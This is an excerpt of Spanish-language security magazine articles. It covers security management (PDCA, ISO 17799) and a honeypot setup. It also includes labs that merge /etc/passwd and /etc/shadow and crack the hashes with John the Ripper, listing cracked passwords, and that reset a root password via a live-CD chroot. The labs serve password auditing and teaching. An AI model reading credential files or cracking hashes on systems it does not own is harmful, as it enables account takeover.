Es recomendable seguir la norma internacional ISO/IEC 17799 que considera la organización<br />

como un todo y tiene en cuenta todos los posibles aspectos que se pueden<br />

ver afectados ante los posibles incidentes que se pueden producir.<br />

Hijacking<br />

Sessions<br />

Backdoors<br />

Sniffers<br />

Sweepers<br />

Packet<br />

Spoofing<br />

Central<br />

Exploit<br />

Repository<br />

Satan<br />

Stealth<br />

Diagnostic<br />

No se requieren habilidades técnicas<br />

para hackear<br />

Basados en el figura2 se concluye<br />

que al pasar de los años será<br />

mucho mas fácil hacer un ataque<br />

contra un sistema vulnerable, llama<br />

la atención el cruce de las coordenadas<br />

x,y en el uso de Sniffers para<br />

hacer ataques.<br />

Activos que<br />

se deben proteger<br />

El concepto de seguridad lleva asociado<br />

otro concepto que le da sentido:<br />

El valor, solo se debe proteger<br />

aquello que creemos tiene un valor<br />

importante para nosotros, la seguridad<br />

debe estar íntimamente asociada<br />

al valor que le damos a los<br />

objetos que deseamos proteger.<br />

La información: En esencia la<br />

información es lo que mas nos importa<br />

proteger, porque es propio de<br />

la organización especifica, ya que<br />

sin duda alguna constituye uno de<br />

los mayores activos de cualquier<br />

organización.<br />

Stack<br />

Owerflw Back<br />

E-Mail Worms<br />

Orifice<br />

Macro<br />

Virus<br />

Icmp<br />

Tunneling<br />

NMAP<br />

1990 1995 2005<br />

HIGH


Importante<br />

El concepto de seguridad informática debe ser enfocado como un proceso global, por<br />

esto se dice que desde el punto de vista legal la seguridad es el conjunto de bienes y<br />

derechos personales o de la organización que deben ser protegidos y preservados,<br />

tanto del mal uso involuntario como del uso ilícito.<br />

Modelo de seguridad<br />

informática PDCA<br />

Dada la complejidad del problema de<br />

la seguridad cuando se trata como un<br />

todo dentro de la organización, surge<br />

de forma natural la necesidad de la<br />

gestión de la seguridad por lo que las<br />

organizaciones deben plantearse un<br />

sistema de gestión de la seguridad<br />

de la información SGSI. El objetivo<br />

primordial de los SGSI es salvaguardar<br />

la información, para empezar<br />

se debe identificar que activos de<br />

información deben ser protegidos y<br />

en que grado, luego debe aplicarse<br />

el plan PDCA PLAN – DO – CHECK – ACT,<br />

es decir Planificar, Hacer, Verificar,<br />

Actuar y volver a repetir el ciclo. La<br />

seguridad consiste en la realización<br />

de las tareas necesarias para garantizar<br />

los niveles de seguridad exigibles<br />

en una organización:<br />

• En consecuencia la organización<br />

debe entender la seguridad como<br />

Tabla 1. Activación de la Herramienta<br />

Usuario Contraseña<br />

texto en claro<br />

PLANIFICAR<br />

PLAN<br />

HACER<br />

DO<br />

Figura 3. Esquema de evaluación ante un ataque<br />

www.<strong>hakin9</strong>.org/es<br />

Inseguridad de la información<br />

un proceso que nunca termina<br />

pues los riesgos nunca se eliminan<br />

en cambio se gestionan. De<br />

los riesgos se desprende que los<br />

problemas de seguridad no son<br />

únicamente de índole tecnológica<br />

por ello nunca se eliminan en su<br />

totalidad.<br />

Un SGSI siempre cumple cuatro<br />

niveles repetitivos que inician por<br />

Planificar y termina en Actuar, reciclando<br />

en mejoras continuas:<br />

Análisis<br />

de cada nivel<br />

PLANIFICAR (Plan): Establecer el<br />

contexto<br />

• En este nivel se crean las Políticas<br />

de seguridad,<br />

• Se describe el alcance del SGSI,<br />

• Se hace análisis de riesgos,<br />

• Selección de controles,<br />

• Estado de aplicabilidad.<br />

Contraseña cifrada Segundos para<br />

descifrar<br />

Acarvaja Sis d/xIxxJYTO292 10,487<br />

Acarvaja Sist Jt7jCsUUvCWJ 17,302<br />

Acarvaja Siste P5hnpqJUASIzQ 15,044<br />

Acarvaja Sistem LrxcAeTTDWOBs 16,004<br />

Acarvaja Sistema hzYQLo1RxiIEQ 146,851<br />

Acarvaja Sistemas gsZ.WUm.ozkgQ 2.604,277<br />

MEJORAS CONTINUAS<br />

VERIFICAR<br />

CHECK<br />

ACTUAR<br />

ACT<br />

HACER (Do): Implementar el sistema<br />

• Implementar el sistema de gestión<br />

de seguridad de la información,<br />

• Implementar el plan de riesgos,<br />

• Implementar los controles.<br />

VERIFICAR (Check): Monitorea y<br />

revisa<br />

• Monitorea las actividades,<br />

• Revisa,<br />

• Hace auditorias internas.<br />

ACTUAR (Act): Mantenimiento y<br />

mejora<br />

• Implementa mejoras,<br />

• Acciones preventivas,<br />

• Acciones correctivas.<br />

El mayor problema<br />

El mayor problema de hoy es que<br />

los servicios que más utilizamos no<br />

fueron pensados para ser seguros, es<br />

decir la información viaja sin cifrar por<br />

los canales inseguros. Los usuarios<br />

mal intencionados utilizan herramientas<br />

que se ponen a la escucha y pueden<br />

ver todo el trafico de red, estas<br />

herramientas se llaman sniffers. La<br />

siguiente gráfica muestra un usuario<br />

con el cliente de correo Outlook que<br />

se siente seguro por que el cliente de<br />

correo le pide la clave de la cuenta de<br />

correo y pone asteriscos en la pantalla<br />

para que este no sea observado. Lo<br />

que el usuario común y corriente no<br />

sabe es que el tráfico de la red puede<br />

ser visto con un sniffer como el popular<br />

ethereal. Definitivamente la única<br />

forma para que los sniffers no vean los<br />

datos en claro es cifrando el canal para<br />

los puertos necesarios en la transferencia<br />

de datos. Se dice que el uso<br />

de la criptografía es la salvación para<br />

proteger la confidencialidad en esta<br />

nueva era de la información.<br />

Capacitación en<br />

seguridad Informática<br />

Un plan de gestión de seguridad<br />

informática no puede existir sin capacitación<br />

especializada en las nuevas<br />

amenazas y obviamente debe hacer<br />

énfasis en como contrarrestar las<br />

mismas. La certificación en seguridad<br />

37


kit<br />

que más se busca hoy en día es la<br />

CISSP o profesional en seguridad informática<br />

certificado, las estadísticas<br />

muestran un 48% de preferencia. Le<br />

siguen la GIAC, CISA, CISM, SSCP y<br />

otras que empiezan a ser requeridas<br />

por los profesionales de redes y seguridad<br />

informática.<br />

El rompecabezas: La red<br />

La red de hoy es un rompecabezas<br />

pues los profesionales en informática<br />

deben hacer hablar e interactuar muchos<br />

elementos activos de red de diferentes<br />

fabricantes. El mayor objetivo<br />

es tener indicadores correlacionados<br />

entre las diferentes soluciones, es<br />

decir se debería cruzar la información<br />

de los diferentes logs del sistema de<br />

seguridad. Gráficamente es como tener<br />

un rompecabezas donde se tienen<br />

tecnologías heterogéneas, software<br />

de terceros, software hecho en casa,<br />

proveedores de soluciones de seguri-<br />

MOST WANTED<br />

CERTIFICATIONS<br />

Which certifications do you look for<br />

when hiring or advancing security<br />

personnel?<br />

CSSF (Cetified informatior<br />

Systems Security Professiona)<br />

48%<br />

GIAC (SANS Globa informatior on<br />

Assurance Certifiation<br />

26%<br />

CSA (Cetified informatior<br />

Security Auditor)<br />

CSM (Cetified informatior<br />

Security Manager)<br />

CSM (Cetified informatior<br />

Security Professional)<br />

15%<br />

Department of Defense<br />

T A/CREF Security<br />

7%<br />

Other<br />

None<br />

7%<br />

9%<br />

20%<br />

18%<br />

16%<br />

Figura 4. Certificaciones diguitales<br />

de mayor uso<br />

dad que no tienen interfaces entre sus<br />

sistemas… ¿quien es el responsable<br />

de integrar todos estos elementos<br />

heterogéneos?<br />

La respuesta es: Nosotros los<br />

responsables de la informática en<br />

nuestras organizaciones somos los<br />

primeros llamados a tomar decisiones<br />

al respecto, por eso este libro busca<br />

ayudar en los primeros pasos, los<br />

primeros auxilios para empezar tan<br />

loable tarea.<br />

Por lo tanto la primera tarea<br />

que debemos tener en cuenta es el<br />

análisis de riesgos, es decir antes<br />

de empezar la tarea de gestión de<br />

seguridad informática que busca la<br />

implementación de controles por soluciones<br />

existentes, primero se debe<br />

hacer un análisis de riesgos que es el<br />

paso fundamental de la gestión de la<br />

seguridad informática<br />

Rompiendo claves<br />

con John The Ripper<br />

Este es uno de los crackers más<br />

populares de contraseñas. Puede<br />

descargarse desde la URL<br />

www.openwall.com/john/ y se halla<br />

para distintos sistemas operativos,<br />

aunque inicialmente se diseñó para<br />

sistemas UNIX. Esta clase de información<br />

debe ser accesible a cualquier<br />

persona en forma pública pues<br />

esto permite que la humanidad tenga<br />

conciencia de que nuestros sistemas<br />

críticos del negocio están siendo accedidos<br />

por usuarios con contraseñas<br />

débiles que así mismo debilitan nuestra<br />

seguridad de la información. Estas<br />

herramientas nos permiten a los administradores<br />

del sistema comprobar<br />

la solidez de las contraseñas para<br />

disminuir ataques por fuerza bruta, y<br />

ataques de diccionarios. Es decir per-<br />

Cuestionamientos<br />

38 www.<strong>hakin9</strong>.org/es<br />

miten la comprobación proactiva de<br />

las contraseñas. El conocer nuestras<br />

debilidades nos permite mejorar las<br />

políticas de seguridad.<br />

La principal finalidad de este tipo<br />

de programas es detectar passwords<br />

débiles que vulneren la seguridad<br />

del sistema. Su uso es legal, pues<br />

su finalidad fundamental es la búsqueda<br />

de passwords débiles que<br />

vulneren el sistema de seguridad.<br />

Ahora cualquier elemento puede ser<br />

utilizado para fines buenos o malos,<br />

solo nosotros decidimos el uso que<br />

le damos.<br />

Utilidades de estas<br />

aplicaciones para<br />

los administradores<br />

de sistemas<br />

Permiten probar las políticas de seguridad<br />

en cuanto a los passwords débiles<br />

para saber si se están respetando.<br />

El administrador basado en los reportes<br />

de john informa a los usuarios del<br />

aseguramiento de sus claves.<br />

Por ejemplo se debería programar<br />

semanalmente la ejecución<br />

de estas pruebas para evaluar la<br />

fortaleza de los passwords de los<br />

servidores. Cuando se encuentren<br />

claves débiles se debe forzar<br />

a los usuarios su cambio. Ahora<br />

esto debe estar acompañado de<br />

una política de seguridad que<br />

dentro del sistema operativo y en<br />

las aplicaciones del negocio no<br />

se permitan: contraseñas de menos<br />

de 8 caracteres, contraseñas<br />

formadas con datos conocidos<br />

del usuario, contraseñas que no<br />

mezclen mayúsculas y minúsculas,<br />

contraseñas formadas por palabras<br />

de diccionarios y contraseñas que<br />

ya se hayan usado antes.<br />

• ¿Qué pasaría si la carpeta /etc estuviera en una partición independiente del sistema<br />

de archivos root (/)?<br />

• ¿Qué pasaría si la versión de Linux no fuera SUSE o Fedora?<br />

• Fin de laboratorio<br />

• ¿Qué pasaría si se olvida unificar los archivos /etc/passwd y /etc/shadow?<br />

• ¿Qué pasaría si evitamos la unión de los archivos y en cambio solo utilizamos<br />

/etc/shadow?<br />

• Fin de Laboratorio


Activación<br />

de la herramienta<br />

Para activar la herramienta desde<br />

un LIVE CD como por ejemplo<br />

Knoppix STD, se deben seguir los<br />

siguientes pasos:<br />

# cp –vr /KNOPPIX/etc/john /tmp<br />

Existe un archivo de claves muy<br />

utilizadas llamado passwords.lst,<br />

al ejecutar el comando wc –l<br />

password.lst se encuentran unas<br />

2290 líneas o palabras en el diccionario.<br />

Al crear un usuario por ejemplo<br />

acarvaja con el comando useradd<br />

acarvaja debe notarse que<br />

el password siempre contiene 13<br />

caracteres sin importar el tamaño<br />

de la clave de entrada, además se<br />

encuentra que si se genera el mismo<br />

password varias veces la clave<br />

cifrada no es igual, esto se debe a<br />

la SALT que son los dos primeros<br />

caracteres de la contraseña.<br />

Con el comando unshadow /etc/<br />

passwd /etc/shadow > passwd.1 se<br />

genera un solo archivo donde se<br />

fusionan usuarios y su clave cifrada<br />

respectivamente, pero también<br />

funciona si usa /etc/shadow<br />

Al ejecutar el comando: #<br />

john passwd.1, se podrán ver las<br />

claves en texto en claro. Al dejar<br />

el password igual al nombre del<br />

Sobre el Autor<br />

Armando Carvajal es Ingeniero de Sistemas de la Universidad INCCA de Colombia<br />

cuenta con un postgrado en Construcción de Software para redes de la universidad de<br />

los Andes, actualmente esta cursando la maestría Seguridad Informática en la Universidad<br />

Oberta de Cataluña (España). Se desempeña como gerente técnico de la empresa<br />

Globaltek Security, organización especializada en seguridad informática. Ha sido<br />

conferencista latinoamericano y tiene experiencia dictando postgrados de ingeniería de<br />

sistemas en algunas universidades en Colombia.<br />

Bibliografía<br />

• Colobran Huguet, Miguel (2002): Administración de sistemas operativos en Zarza.<br />

Barcelona: Universidad Oberta de Catalunia<br />

• Moron Lerma, Esther: (2002) Internet y derecho penal: Hacking y otras conductas<br />

ilícitas en la red, Editorial Aranzadi, S. A.<br />

• Villalón Huerta, Antonio, (2002) Seguridad en Unix y redes. Version 2.1.<br />

• Schneier Bruce, Beyond Fear. Thinking sensibly anout security in an ancertain<br />

world. Copernicus Books 2003.<br />

http://www.acis.org.co/archivosAcis/inseguridad.doc, Jeimy Cano, 2004<br />

Evaluación<br />

• ¿Cuales son las 3 propiedades que hacen de un sistema informático fiable o de lo<br />

contrario inseguro?<br />

• ¿Cuáles son los 4 grupos de ataque que pueden sufrir los componentes hardware,<br />

software y los datos?<br />

• ¿Defina desde el punto de vista del departamento jurídico o legal que es la seguridad<br />

informática?<br />

• ¿Qué activos que se deben proteger en seguridad Informática?<br />

• ¿Que es el PDCA en seguridad Informática?<br />

• ¿Por qué la capacitación especializada es fundamental en seguridad Informática?<br />

• ¿Por qué la los riesgos nunca se pueden eliminar?<br />

• ¿Que se gana al cifrar los canales con métodos criptográficos?<br />

• ¿Por qué debería decirse inseguridad informática en cambio de seguridad informática?<br />

www.<strong>hakin9</strong>.org/es<br />

Inseguridad de la información<br />

usuario se obtiene la siguiente<br />

clave cifrada: DR4V/VN5epYJU,<br />

el tiempo para descifrarlo en el<br />

laboratorio fue de 2,403 seg. Si<br />

usamos el password al revés como<br />

el nombre del usuario: ajavraca se<br />

obtiene la siguiente clave cifrada:<br />

zYU39Cr4f14n, el tiempo para<br />

descifrarlo fue de 2,704 seg. Si<br />

se utiliza un password que satisfaga<br />

las condiciones habituales de<br />

seguridad: Con el texto en claro<br />

@*?a200! se obtiene la siguiente<br />

clave cifrada: geU8IZd0UCKCk,<br />

pero no se puede descifrar la clave<br />

después de 24 o 48 horas.<br />

Definitivamente aumenta el<br />

tiempo necesario en ciclos de<br />

cpu al aumentar los caracteres<br />

de la contraseña. Hay un resultado<br />

de unos 15 segundos para<br />

la contraseña siste, es decir para<br />

5 caracteres, únicamente en esta<br />

clave disminuye el tiempo mientras<br />

que para el resto de la muestra<br />

es creciente. Cuando se llega a 8<br />

caracteres se necesitan unos 44<br />

minutos en promedio, entonces<br />

se puede concluir que siempre<br />

debemos usar mínimo 8 caracteres<br />

para las contraseñas seguras pues<br />

el tiempo para romperlas seria mucho<br />

mayor. Gráfica que relaciona<br />

el tiempo de proceso contra el número<br />

de caracteres. Pruebe ahora<br />

cambiándole al usuario la clave por<br />

una clave segura generada por el<br />

sistema operativo:<br />

# dd if=/dev/urandom count=200<br />

bs=1 2>/dev/null | tr "\n" "<br />

" | sed 's/[^a-zA-Z0-9]//g' | cut -c<br />

-16<br />

Use esas claves para ver cómo se<br />

comporta la herramienta.<br />

Conclusiones<br />

Existen en Internet herramientas similares<br />

para evaluar la vulnerabilidad de<br />

las claves o passwords<br />

• Son fáciles de encontrarlas y usarlas<br />

• Es claro que el 90% de los passwords<br />

son demasiado vulnerables<br />

39


kit<br />

• Pueden ser utilizadas para forzar<br />

la entrada a un sistema cuando<br />

originalmente fueron creadas para<br />

probar la debilidad del password.<br />

Laboratorio - Análisis<br />

de las claves de usuarios<br />

en un sistema Linux<br />

Probar localmente las claves de los<br />

usuarios localizados en el archivo /<br />

etc/passwd y /etc/shadow<br />

• Evaluar si la versión instalada funciona<br />

Si ya esta instalado lo mas probable<br />

es que la versión tenga problemas.<br />

Se debe bajar el software en<br />

formato tarbal desde el sitio: http:<br />

//www.openwall.com/john/ y dejarlo en<br />

el directorio: /tmp/john-1.x.tar.gz Luego<br />

se descomprime con el comando: # tar<br />

–xzvmf /tmp/john-1.x.tar.gz, Se posiciona<br />

en el directorio recién creado, se<br />

compila e instala con los comandos:<br />

# cd /tmp/john-1.x<br />

# cd src<br />

# make generic<br />

# cd ./run<br />

• Unificar archivos con el comando:<br />

# unshadow /etc/passwd/etc/shadow ><br />

passwd.1<br />

Esto genera un solo archivo donde se<br />

fusionan usuarios y su clave cifrada<br />

Ancho de Banda<br />

Correo<br />

Web<br />

IDS<br />

Análisis de<br />

Vulnerabilidades<br />

Antiespamy antivirus<br />

Figura 5. El rompecabeza, la Red<br />

respectivamente. Ejecute el comando<br />

para ver el texto en claro:<br />

# ./john passwd.1<br />

Al ejecutar el comando anterior<br />

aparece la pantalla diciendo que ha<br />

encontrado un número de usuarios<br />

para evaluar el algoritmo Standard<br />

DES [32/32], además muestra por<br />

cada usuario una lista de passwords<br />

cifrados y su equivalente en texto en<br />

claro. Los password encontrados<br />

quedan en el archivo john.pot<br />

• Evaluación de resultados<br />

d/xIxxJYTO292:sis<br />

Jt7jCsUUvCWJ.:sist<br />

P5hnpqJUASIzQ:siste<br />

LrxcAeTTDWOBs:sistem<br />

hzYQLo1RxiIEQ:sistema<br />

gsZ.WUm.ozkgQ:sistemas<br />

MjB3da.tOE2B6:acarvaja<br />

aKlHQkZTR8wY.:ajavraca<br />

T6TfkAxv4Hw4U:aca<br />

Laboratorio – Rompiendo<br />

la contraseña del usuario<br />

administrador<br />

Se asume que el disco duro está<br />

representado por el dispositivo /dev/<br />

sda, donde /dev/sda1 es la primera<br />

partición, /dev/sda2 representa la<br />

segunda partición. Generalmente<br />

los discos IDE se representan por /<br />

dev/hda pero las versiones recientes<br />

de Linux ven /dev/hda como /dev/sda<br />

Firewall y Proxy<br />

Filtro Web<br />

Aplicaciones Críticas<br />

End device<br />

Broker de aplicaciones<br />

40 www.<strong>hakin9</strong>.org/es<br />

3000<br />

2500<br />

2000<br />

1500<br />

1000<br />

500<br />

0<br />

Figura 6. Relación entre el tiempo<br />

de proceso contra números de<br />

caracteres<br />

simulando discos SCSI o SATA.<br />

Solución:<br />

• Haga boot con el CDROM<br />

• Tome la opción de recuperación<br />

• En SUSE el sistema le pedirá el<br />

usuario con el que hará el proceso<br />

de emergencia, digite root<br />

y presione la tecla enter<br />

• Averigüe cual es la partición del<br />

sistema de archivos root (/), para<br />

ello digite en SUSE cfdisk /dev/<br />

sda y en Linux Fedora fdisk /dev/<br />

sda<br />

• Para el comando fdisk tome la opción<br />

1 y luego la letra p (print) para<br />

imprimir las particiones del disco<br />

duro<br />

• Deduzca cual es la partición del<br />

sistema de archivos root (/)<br />

• Monte la partición del sistema de<br />

archivos root en la carpeta /mnt del<br />

cdrom<br />

# mount /dev/sda1 /mnt<br />

# chroot /mnt<br />

• Verifique que existan las carpetas<br />

y los archivos del sistema<br />

root (/)<br />

# cd /<br />

3 4 5 6 7 8<br />

# ls –l<br />

• Si es correcto cambie el password<br />

del usuario root<br />

• passwd root<br />

• Digite el nuevo password<br />

• Salga a root<br />

• cd /<br />

• sync;sync;sync<br />

• Reinicie el sistema<br />

• reboot<br />

• Pruebe entrar al sistema con la<br />

nueva clave. l


El valor forense<br />

de los honeypots<br />

Armando Carvajal<br />

Se define Honeypot como un recurso<br />

de red destinado a ser atacado y<br />

comprometido, este será examinado,<br />

atacado y seguramente comprometido por el<br />

atacante. Es una herramienta de seguridad<br />

informática utilizada para recoger información<br />

sobre los atacantes y sus técnicas. El<br />

honeypot proporciona información sobre el<br />

atacante antes de que se comprometan los<br />

sistemas reales.<br />

Que no hace un Honeypot:<br />

• No sirve para eliminar o corregir fallos de<br />

seguridad existentes<br />

• Si la red es vulnerable, añadir un Honeypot<br />

no resolverá esas fallas<br />

• Evitar que un atacante fije su interés en<br />

nuestra red<br />

Características de un Honeypot<br />

• Genera un volumen pequeño de datos<br />

• No existen los falsos positivos<br />

• Necesitan recursos informáticos mínimos<br />

• Son elementos pasivos<br />

• Son fuentes potenciales de riesgo para la red<br />

42 www.<strong>hakin9</strong>.org/es<br />

Los honeypots se muestran<br />

como la trampa perfecta<br />

para todos aquellos posibles<br />

atacantes, su labor radica<br />

en simular ser vulnerables o<br />

debiles al ataque, captando<br />

toda la información de sus<br />

agresores una vez diagnosticado<br />

al agresor, advierte al<br />

administrador del sistema, antes<br />

de dañar completamente la red.<br />

• Usan una dirección IP como mínimo<br />

• Los Honeypots tienen un limitado carácter<br />

preventivo<br />

• Tienen un alto grado de detección por los<br />

intrusos de ahí que son conocidos como<br />

tarros de miel<br />

En este artículo aprenderás<br />

• Cual cosa hacia o desde honeypots sera posible<br />

realizar de manera anticipada una prueba o<br />

scaneo.<br />

• El uso de recursores y la simplicidad de su<br />

aplicacion.<br />

• Contrarestar ataques.<br />

• Que es posible la implatación de ids, firewalls,<br />

vpns, proxies, filtrosantispam, cifrado etc a favor<br />

de la defensa de la información.<br />

Lo que deberías saber<br />

• Los honeypots, en algunas oportunidades son<br />

de alto riesgo.<br />

• La existencia de una muestra limitada.<br />

• Recuerda que todo arma de seguridad posee<br />

un riesgo.


• Son programables en cuanto a la<br />

reacción contra el atacante<br />

Taxonomia de los honeypots:<br />

• Honeypot de producción (Production<br />

Honeypot System)<br />

• Honeypot de investigación (Research<br />

Honeypot System)<br />

Ubicación en el perímetro<br />

Antes del firewall: Esta localización<br />

es la que menos riesgo suministra<br />

Listado 1. Comando If config: muestro de interfaces<br />

El valor forense de los honeypots<br />

a la red. Como este se encuentra<br />

fuera de la zona protegida por el<br />

firewall, puede ser atacado sin ningún<br />

tipo de peligro para el resto de<br />

la red. Detrás del firewall: El acceso<br />

al Honeypot esta dirigido por las<br />

reglas de filtrado del firewall, su<br />

ubicación permite la detección de<br />

los atacantes internos, los firewalls<br />

mal configurados, las máquinas<br />

infectadas por gusanos y los atacantes<br />

externos. En la zona desmilitarizada:<br />

Es la ubicación ideal pues<br />

lo Link encap:Local Loopback<br />

inet addr:127.0.0.1 Mask:255.0.0.0<br />

inet6 addr: ::1/128 Scope:Host<br />

UP LOOPBACK RUNNING MTU:16436 Metric:1<br />

RX packets:82 errors:0 dropped:0 overruns:0 frame:0<br />

TX packets:82 errors:0 dropped:0 overruns:0 carrier:0<br />

collisions:0 txqueuelen:0<br />

RX bytes:5847 (5.7 Kb) TX bytes:5847 (5.7 Kb)<br />

Listado 2. Construcion de un shell para probalo<br />

#!/bin/sh<br />

# Programa : ping.sh<br />

# Autor: Armando Carvajal<br />

# Parametros : Argumento $1 es el<br />

numero de veces de secuencia<br />

sec=1<br />

while true<br />

do<br />

if [ $sec -gt $1 ]<br />

then<br />

exit 0<br />

fi<br />

ping -c 1 127.0.0.${sec}<br />

sec=`expr $sec + 1`<br />

done<br />

Listado 3. Visualizacion del archivo resultado .txt<br />

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.<br />

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms<br />

--- 127.0.0.1 ping statistics ---<br />

1 packets transmitted, 1 received, 0% packet loss, time 0ms<br />

rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms<br />

PING 127.0.0.2 (127.0.0.2) 56(84) bytes of data.<br />

64 bytes from 127.0.0.2: icmp_seq=1 ttl=64 time=0.011 ms<br />

--- 127.0.0.2 ping statistics ---<br />

1 packets transmitted, 1 received, 0% packet loss, time 0ms<br />

rtt min/avg/max/mdev = 0.011/0.011/0.011/0.000 ms<br />

PING 127.0.0.3 (127.0.0.3) 56(84) bytes of data.<br />

64 bytes from 127.0.0.3: icmp_seq=1 ttl=64 time=0.010 ms<br />

…<br />

--- 127.0.0.255 ping statistics ---<br />

1 packets transmitted, 1 received, 0% packet loss, time 0ms<br />

rtt min/avg/max/mdev = 0.007/0.007/0.007/0.000 ms<br />

www.<strong>hakin9</strong>.org/es<br />

permite detectar ataques externos<br />

e internos con una reconfiguración<br />

del firewall.<br />

Repercusiones legales<br />

Trampa (Entrapment): Es el proceso<br />

realizado por los cuerpos policiales<br />

(law enforcement) de “inducir” a<br />

alguien a cometer un acto punible<br />

con el objetivo de iniciar la acción<br />

judicial pertinente. En este caso del<br />

Honeypot, aunque es un elemento<br />

pasivo creado por nosotros para<br />

ser atacado (sin que seamos parte<br />

de los cuerpos policiales) si no deseamos<br />

perseguir judicialmente esta<br />

intrusión en el Honeypot, no realizamos<br />

ninguna trampa. El objetivo del<br />

Honeypot es recibir los ataques, no<br />

recoger información para demandar<br />

a los atacantes del Honeypot. Privacidad<br />

(Privacy): La información<br />

recogida puede dividirse en información<br />

transaccional e información de<br />

contenido.<br />

Responsabilidad (Liability): Este<br />

aspecto hace referencia a las posibles<br />

demandas que podemos recibir<br />

en el caso de que un atacante utilice<br />

nuestro Honeypot como plataforma<br />

de lanzamiento de ataques. Las demandas<br />

se basarían en que nosotros<br />

no hemos realizado unos mínimos<br />

esfuerzos de seguridad en nuestra<br />

red, sino que al contrario, facilitamos<br />

el acceso a nuestros recursos para<br />

que sean utilizados en todo tipo de<br />

ataques.<br />

Posibles utilidades<br />

Los Honeypots son útiles para las<br />

investigaciones forenses específicamente<br />

en las investigaciones de<br />

inteligencia porque permiten analizar<br />

la actividad del hacker o atacante basados<br />

en el engaño. Si ya se conoce<br />

la identidad del atacante y además<br />

usted va a tomar acciones contra<br />

del atacante es importante recordar<br />

que antes de poner el honeypot se<br />

debe tener un permiso judicial contra<br />

el atacante. Utilidad en sistemas en<br />

producción: Brindan protección, prevención,<br />

detección y respuesta a los<br />

ataques de baja interacción. Utilidad<br />

en la Investigación: Permite recolectar<br />

información, ayuda a definir ten-<br />

43


kit<br />

dencias respecto de las actividades<br />

del atacante, activación de sistemas<br />

tempranos de alarma, predicción de<br />

ataques e investigaciones criminales<br />

con alta interacción. En concreto<br />

permiten ejercer el derecho a la legítima<br />

defensa.<br />

Como ayudan en la<br />

detección y solución de<br />

problemas<br />

Dado que su objetivo fundamental<br />

es la construcción de un perfil del<br />

atacante permite la detección de las<br />

“0 days” vulnerabilidades que son<br />

tan intimidantes como las amenazas<br />

desconocidas. Por ejemplo si detectamos<br />

tráfico masivo y desconocido<br />

en la red se puede intuir que el atacante<br />

ya esta adentro, entonces con<br />

un honeypots se puede capturar el<br />

username y el password del hacker,<br />

permiten la activación de keyloggins,<br />

la detección del email del atacante,<br />

permiten ver el contenido del chat<br />

del hacker con terceros, etc. En<br />

concreto: Se puede establecer como<br />

funciona el atacante que es lo que<br />

hace y como me hace daño en forma<br />

detallada.<br />

Honeynets<br />

Se define una Honeynet como un<br />

conjunto de Honeypots altamente<br />

interactivos diseñados para la<br />

investigación y la obtención de<br />

información sobre atacantes. Una<br />

Honeynet es una arquitectura, no<br />

un producto o un software determinado.<br />

El objetivo es el de hacer creer<br />

al atacante que está ante una red<br />

real, entonces de deben añadir los<br />

distintos elementos que conforman<br />

una arquitectura de red<br />

Tradicionalmente, la mayoría de<br />

los sistemas de seguridad han sido<br />

siempre de carácter defensivo.<br />

IDS, Firewalls y demás soluciones<br />

se basan en la defensa de<br />

los sistemas de la organización,<br />

y cuando un ataque o vulnerabilidad<br />

es detectado de inmediato se<br />

procede a corregirlo, entonces el<br />

método tradicional no es proactivo<br />

es correctivo por lo tanto no hay<br />

mejora intrínseca o proactividad<br />

propia de los sistemas. Las Honeynets<br />

miran de cambiar esta<br />

actitud mediante el estudio de los<br />

ataques y atacantes. Obtener nuevos<br />

patrones de comportamiento y<br />

nuevos métodos de ataque con el<br />

objetivo de prevenirlos en los sistemas<br />

reales.<br />

Sin Honeynets, cada vez que<br />

se produzca un ataque “nuevo” y<br />

exitoso a un sistema real existente,<br />

este dejará de dar servicio y se ve-<br />

44 www.<strong>hakin9</strong>.org/es<br />

rá comprometido. Con las Honeynets,<br />

un ataque exitoso o nuevo<br />

no tiene porqué afectar a ningún<br />

Listado 4. Interfaces nuevas del sistema con comando ifconfig<br />

ifconfig dummy0 192.168.100.1 netmask 255.255.255.0 up<br />

ifconfig –a<br />

dummy0 Link encap:Ethernet HWaddr 00:00:00:00:00:00<br />

inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0<br />

UP BROADCAST RUNNING NOARP MTU:1500 Metric:1<br />

RX packets:0 errors:0 dropped:0 overruns:0 frame:0<br />

TX packets:21 errors:0 dropped:0 overruns:0 carrier:0<br />

collisions:0 txqueuelen:0<br />

RX bytes:0 (0.0 b) TX bytes:2485 (2.4 KiB)<br />

lo Link encap:Local Loopback<br />

inet addr:127.0.0.1 Mask:255.0.0.0<br />

UP LOOPBACK RUNNING MTU:16436 Metric:1<br />

RX packets:36 errors:0 dropped:0 overruns:0 frame:0<br />

TX packets:36 errors:0 dropped:0 overruns:0 carrier:0<br />

collisions:0 txqueuelen:0<br />

RX bytes:3024 (2.9 KiB) TX bytes:3024 (2.9 KiB)<br />

Listado 5. Procesa de prueba interfaces<br />

ping 192.168.100.1<br />

PING 192.168.100.1 (192.168.100.1): 56 data bytes<br />

64 bytes from 192.168.100.1: icmp_seq=0 ttl=64 time=0.0 ms<br />

64 bytes from 192.168.100.1: icmp_seq=1 ttl=64 time=0.0 ms<br />

64 bytes from 192.168.100.1: icmp_seq=2 ttl=64 time=0.0 ms<br />

--- 192.168.100.1 ping statistics ---<br />

3 packets transmitted, 3 packets received, 0% packet loss<br />

round-trip min/avg/max = 0.0/0.0/0.0 ms<br />

ping 127.0.0.1<br />

PING 127.0.0.1 (127.0.0.1): 56 data bytes<br />

64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.0 ms<br />

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.0 ms<br />

64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.0 ms<br />

--- 127.0.0.1 ping statistics ---<br />

3 packets transmitted, 3 packets received, 0% packet loss<br />

round-trip min/avg/max = 0.0/0.0/0.0 ms<br />

Listado 6. Honey .cfg nuevo archivo de configuracion creado en<br />

directorio del usario el root<br />

vi /root/honey.cfg<br />

create template<br />

set template personality "OpenBSD 2.6-2.8"<br />

set template default tcp action block<br />

set template uid 1000 gid 1000<br />

bind 192.168.100.3 template<br />

set 192.168.100.3 uptime 1327650<br />

Como ayudan<br />

Dado que su objetivo fundamental es la<br />

construcción de un perfil del atacante<br />

permite la detección de las “0 days” vulnerabilidades<br />

que son tan intimidantes<br />

como las amenazas desconocidas.


sistema real. Además perderá el<br />

factor sorpresa, ya que habremos<br />

obtenidos datos precisos de su<br />

